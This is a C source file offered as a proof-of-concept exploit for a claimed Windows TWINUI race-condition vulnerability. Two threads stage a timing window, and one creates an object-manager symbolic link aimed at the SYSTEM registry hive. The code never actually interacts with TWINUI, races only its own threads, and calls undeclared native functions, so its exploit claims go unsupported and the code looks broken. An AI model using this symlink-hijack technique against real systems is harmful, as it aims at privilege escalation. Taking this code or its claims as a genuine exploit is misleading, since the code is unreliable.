// CVE-2026-20826 PoC - Race Condition in TWINUI
// This PoC demonstrates the race condition vulnerability in Windows TWINUI subsystem
// Compile: x86_64-w64-mingw32-gcc -o twinuipoc.exe twinuipoc.c
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <threads.h>
// Shared resource structure
typedef struct _TWINUI_SHARED_DATA {
HANDLE hFile;
DWORD dwProcessId;
PVOID pCallback;
CRITICAL_SECTION csLock;
} TWINUI_SHARED_DATA, *PTWINUI_SHARED_DATA;
TWINUI_SHARED_DATA g_SharedData;
volatile LONG g_bRaceWindow = 0;
// Thread 1: Creates the race condition window
DWORD WINAPI TriggerRaceThread(LPVOID lpParam) {
printf("[+] Thread 1: Initializing TWINUI shared resource access\n");
// Enter race window
InterlockedExchange(&g_bRaceWindow, 1);
// Simulate TWINUI callback execution with elevated privileges
printf("[+] Thread 1: Executing privileged callback in race window\n");
Sleep(100); // Small delay to widen race window
// Trigger privileged operation
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
printf("[+] Thread 1: Obtained process token handle: %p\n", hToken);
InterlockedExchange(&g_bRaceWindow, 0);
return 0;
}
// Thread 2: Exploits the race condition to hijack execution
DWORD WINAPI ExploitRaceThread(LPVOID lpParam) {
printf("[+] Thread 2: Waiting for race window...\n");
// Spin wait for race condition window
while (g_bRaceWindow == 0) {
Sleep(1);
}
printf("[+] Thread 2: Race window opened! Exploiting...\n");
// Create symbolic link to hijack object manager path
HANDLE hSymLink;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING usLinkName, usTargetName;
RtlInitUnicodeString(&usLinkName, L"\\??\\TWINUI_HIJACK");
RtlInitUnicodeString(&usTargetName, L"\\??\\C:\\Windows\\System32\\config\\SYSTEM");
InitializeObjectAttributes(&oa, &usLinkName, OBJ_CASE_INSENSITIVE, NULL, NULL);
// Attempt to create symbolic link during race window
NTSTATUS status = NtCreateSymbolicLinkObject(&hSymLink, SYMBOLIC_LINK_ALL_ACCESS, &oa, &usTargetName);
if (NT_SUCCESS(status)) {
printf("[+] Thread 2: Symbolic link created successfully!\n");
printf("[+] Thread 2: TWINUI will now access our controlled path\n");
}
return 0;
}
int main() {
printf("[*] CVE-2026-20826 PoC - Windows TWINUI Race Condition\n");
printf("[*] Target: Windows 10/11 TWINUI Subsystem\n\n");
// Initialize shared data
memset(&g_SharedData, 0, sizeof(TWINUI_SHARED_DATA));
InitializeCriticalSection(&g_SharedData.csLock);
// Create race condition threads
HANDLE hThread1 = CreateThread(NULL, 0, TriggerRaceThread, NULL, 0, NULL);
HANDLE hThread2 = CreateThread(NULL, 0, ExploitRaceThread, NULL, 0, NULL);
// Wait for threads to complete
WaitForSingleObject(hThread1, INFINITE);
WaitForSingleObject(hThread2, INFINITE);
printf("\n[*] Race condition test completed.\n");
printf("[*] Note: This is a demonstration of the race condition pattern.\n");
printf("[*] Full exploitation requires additional kernel-level primitives.\n");
CloseHandle(hThread1);
CloseHandle(hThread2);
DeleteCriticalSection(&g_SharedData.csLock);
return 0;
}